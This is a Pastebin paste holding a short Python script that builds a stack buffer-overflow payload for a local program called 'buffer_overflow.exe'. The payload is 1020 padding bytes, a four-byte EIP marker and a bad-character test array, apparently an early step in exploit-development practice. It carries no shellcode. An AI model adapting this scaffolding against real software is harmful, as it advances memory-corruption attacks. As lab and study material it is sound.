Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! python
- import os
- import sys
- import subprocess
- import binascii
- import time
- import struct
- Offset_EIP = 1020
- byte_array = ""
- byte_array+="\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca"
- byte_array+="\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea"
- byte_array+="\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
- final_payload = "\x41" * (Offset_EIP) + "\x42" * 4 + byte_array
- final_payload_bytes = final_payload.encode('raw_unicode_escape')
- p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here
- p.stdin.write(final_payload_bytes)
- #p.communicate()[0]
- p.stdin.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement